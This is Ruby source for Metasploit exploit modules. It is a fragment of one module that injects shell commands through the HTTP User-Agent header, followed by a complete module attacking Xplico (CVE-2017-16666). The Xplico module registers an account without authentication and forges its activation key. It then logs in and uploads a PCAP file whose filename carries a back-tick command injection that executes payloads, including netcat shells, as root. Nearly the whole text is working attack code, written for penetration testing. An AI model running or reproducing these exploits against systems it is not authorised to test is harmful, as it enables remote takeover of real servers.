'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0
))
end
def check
check_str = rand_text_alpha(8)
begin
res = send_request_raw({
'method' => 'GET',
'uri' => '/',
'agent' => "\"; printf \"#{check_str}"
})
if res && res.code == 200 && res.body.to_s.include?(Rex::Text.md5(check_str))
return Exploit::CheckCode::Vulnerable
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Safe
end
def exploit
print_status("#{peer} - Trying to access the device ...")
unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device")
end
print_status("#{peer} - Exploiting...")
if datastore['PAYLOAD'] == 'cmd/unix/generic'
exploit_cmd
else
exploit_session
end
end
def exploit_cmd
beg_boundary = rand_text_alpha(8)
begin
res = send_request_raw({
'method' => 'GET',
'uri' => '/',
'agent' => "\"; echo #{beg_boundary}; #{payload.encoded} #"
})
if res && res.code == 200 && res.body.to_s =~ /#{beg_boundary}/
print_good("#{peer} - Command sent successfully")
if res.body.to_s =~ /ret :.+?#{beg_boundary}(.*)/ # all output ends up on one line
print_status("#{peer} - Command output: #{$1}")
end
else
fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
def exploit_session
begin
send_request_raw({
'method' => 'GET',
'uri' => '/',
'agent' => "\"; #{payload.encoded} #"
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Xplico Remote Code Execution',
'Description' => %q{
This module exploits command injection vulnerability. Unauthenticated users can register a new account and then execute a terminal
command under the context of the root user.
The specific flaw exists within the Xplico, which listens on TCP port 9876 by default. The goal of Xplico is extract from an internet
traffic capture the applications data contained. There is a hidden end-point at inside of the Xplico that allow anyone to create
a new user. Once the user created through /users/register endpoint, it must be activated via activation e-mail. After the registration Xplico try
to send e-mail that contains activation code. Unfortunetly, this e-mail probably not gonna reach to the given e-mail address on most of installation.
But it's possible to calculate exactly same token value because of insecure cryptographic random string generator function usage.
One of the feature of Xplico is related to the parsing PCAP files. Once PCAP file uploaded, Xplico execute an operating system command in order to calculate checksum
of the file. Name of the for this operation is direclty taken from user input and then used at inside of the command without proper input validation.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
],
'References' =>
[
['CVE', '2017-16666'],
['URL', 'https://pentest.blog/advisory-xplico-unauthenticated-remote-code-execution-cve-2017-16666/'],
['URL', 'https://www.xplico.org/archives/1538']
],
'Privileged' => true,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'DefaultOptions' =>
{
'RPORT' => 9876
},
'Payload' =>
{
'Space' => 252,
'DisableNops' => true,
'BadChars' => "\x2f\x22",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat gawk', # other cmd payloads can't fit within 252 space due to badchars.
},
},
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Oct 29 2017',
'DefaultTarget' => 0
))
end
def check
# There is no exact way to understand validity of vulnerability without registering new user as well as trigger the command injection.
# which is not something we want to do for only check..!
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'users', 'register'),
)
if res && res.code == 302
Exploit::CheckCode::Safe
else
Exploit::CheckCode::Unknown
end
end
def initiate_session
print_status('Initiating new session on server side')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'users', 'login'),
)
if res && res.code == 200
res.get_cookies
else
nil
end
end
def register_user(username, password)
# First thing first, we need to get csrf token from registration form.
print_status('Registering a new user')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'users', 'register'),
'cookie' => @cookie
)
if res && res.code == 200
csrf_token = res.get_hidden_inputs.first['data[_Token][key]'] || nil
fields = res.get_hidden_inputs.first['data[_Token][fields]'] || nil
end
if csrf_token.nil? || fields.nil?
fail_with(Failure::Unknown, 'Unable to extact hidden fields from registration form.')
end
# rand_mail_address sometimes generates buggy email address for this app. So we manually generate email address in here.
email = ''
email << rand_text_alpha_lower(rand(10)+4)
email << '@'
email << rand_text_alpha_lower(rand(10)+4)
email << '.'
email << rand_text_alpha_lower(rand(1)+2)
# Create user
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'users', 'register'),
'cookie' => @cookie,
'vars_post' => {
'_method' => 'POST',
'data[_Token][key]' => csrf_token,
'data[User][email]' => email,
'data[User][username]' => username,
'data[User][password]' => password,
'data[_Token][fields]' => fields,
'data[_Token][unlocked]' => '',
}
)
if res && res.code == 302
print_good('New user successfully registered')
print_status("Username: #{username}")
print_status("Password: #{password}")
else
fail_with(Failure::Unknown, 'Could not register new user')
end
# Awesome. We have user. We need to activate it manually..!
print_status('Calculating em_key code of the user')
unixtime = Time.parse(res.headers['Date']).to_i
password_md5 = Rex::Text.md5(password)
em_key = Rex::Text.md5(
"#{email}#{password_md5}#{unixtime}"
)
print_status("Activating user with em_key = #{em_key}")
# We need to follow redirections. Even if we managed to find em_key.
# It will redirect us to the login form. We need to see registration completed on final page.
res = send_request_cgi!(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'users', 'registerConfirm', em_key),
'cookie' => @cookie
)
if res && res.code == 200 && res.body.include?('Registration Completed.')
print_good('User successfully activated')
else
fail_with(Failure::Unknown, 'Could not activated our user. Target may not be vulnerable.')
end
end
def login(username, password)
# yet another csrf token gathering.
print_status('Authenticating with our activated new user')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'users', 'login'),
'cookie' => @cookie
)
if res && res.code == 200
csrf_token = res.get_hidden_inputs.first['data[_Token][key]'] || nil
fields = res.get_hidden_inputs.first['data[_Token][fields]'] || nil
end
if csrf_token.nil? || fields.nil?
fail_with(Failure::Unknown, 'Unable to extact hidden fields from login form.')
end
res = send_request_cgi!(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'users', 'login'),
'cookie' => @cookie,
'vars_post' => {
'_method' => 'POST',
'data[_Token][key]' => csrf_token,
'data[User][username]' => username,
'data[User][password]' => password,
'data[_Token][fields]' => fields,
'data[_Token][unlocked]' => '',
}
)
if res && res.body.include?('<a href="/pols">Cases</a>')
print_good('Successfully authenticated')
else
fail_with(Failure::Unknown, 'Unable to login.')
end
end
def create_new_case
# We logged in. Not we need to create a new xplico case.
print_status('Creating new case')
pol_name = rand_text_alpha_lower(rand(4)+8)
res = send_request_cgi!(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pols', 'add'),
'cookie' => @cookie,
'vars_post' => {
'_method' => 'POST',
'data[Capture][Type]' => 0,
'data[Pol][name]' => pol_name,
'data[Pol][external_ref]' => '',
}
)
if res && res.body.include?('The Case has been created')
res.body.scan(/<a href="\/pols\/view\/([0-9]+)">/).flatten[0]
else
nil
end
end
def create_new_sol(pol_id)
# Since we xplico case, it's time to create a "session" for this case.
print_status('Creating new xplico session for pcap')
sol_name = rand_text_alpha_lower(rand(4)+8)
# sols/add endpoint reads selected case id through session.
# So we need to hit that end-point so we can insert pol_id into the current session data.
send_request_cgi!(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pols', 'view', pol_id),
'cookie' => @cookie,
)
# Creating new session.
res = send_request_cgi!(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'sols', 'add'),
'cookie' => @cookie,
'vars_post' => {
'_method' => 'POST',
'data[Sol][name]' => sol_name,
}
)
if res && res.body.include?('The Session has been created')
res.body.scan(/<a href="\/sols\/view\/([0-9]+)">/).flatten[0]
else
nil
end
end
def upload_pcap(sol_id)
print_status('Uploading malformed PCAP file')
# We are hitting this end-point so we can access sol_id through session on server-side.
send_request_cgi!(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'sols', 'view', sol_id),
'cookie' => @cookie,
)
# Reading malformed pcap files.
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2017-16666', 'dump.pcap')
fd = ::File.open( path, 'rb')
pcap = fd.read(fd.stat.size)
fd.close
data = Rex::MIME::Message.new
data.add_part('POST', nil, nil, 'form-data; name="_method"')
data.add_part(pcap, 'application/octet-stream', nil, "form-data; name=\"data[Sols][File]\"; filename=\"`#{payload.encoded})`\"") # Yes back-tick injection!
# Uploading PCAP file.
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'sols', 'pcap'),
'cookie' => @cookie,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)
if res && res.code == 302
print_good('PCAP successfully uploaded. Pcap parser is going to start on server side.')
end
# We can not wait all the day long to have session.
# So we are checking status of decoding process 5 times with sleep for a 1 second on each loop.
is_job_done = nil
counter = 0
until session_created? || !is_job_done.nil? || counter == 5
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'sols', 'view', sol_id),
'cookie' => @cookie,
)
if res && res.body.include?('File uploaded, wait start decoding...')
print_status('Parsing has started. Wait for parser to get the job done...')
end
if res && res.body.include?('DECODING')
print_good('We are at PCAP decoding phase. Little bit more patience...')
end
# Tbh decoding process is not going to be finished as long as we have msf session.
# We are not going to see this case if we are successful exploiting.
if res && res.body.include?('DECODING COMPLETED')
print_warning('PCAP parsing process has finished. Haven\'t you got your shell ?')
is_job_done = 1
next
end
sleep(1)
counter += 1
end
end
def exploit
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable")
end
# We need to access cookie from everywhere. Thus making it global variable.
@cookie = initiate_session
if @cookie.nil?
fail_with(Failure::Unknown, 'Unable to initiate new sessionid on server.')
end
# We only need to access username and password for login func. Let's leave them as a local variables.
password = rand_text_alpha(32)
username = rand_text_alpha_lower(rand(8)+8)
register_user(username, password)
login(username, password)
# We will need to have pol_id for creating new xplico session.
pol_id = create_new_case
if pol_id.nil?
fail_with(Failure::Unknown, 'Unable to create New Case.')
end
print_good("New Case successfully creted. Our pol_id = #{pol_id}")
# Create xplico session by using pol_id
sol_id = create_new_sol(pol_id)
if sol_id.nil?
fail_with(Failure::Unknown, 'Unable to create New Sol.')
end
print_good("New Sols successfully creted. Our sol_id = #{sol_id}")
# Uploading malformed PCAP file. We are exploiting authenticated cmd inj in here.
upload_pcap(sol_id)
end
end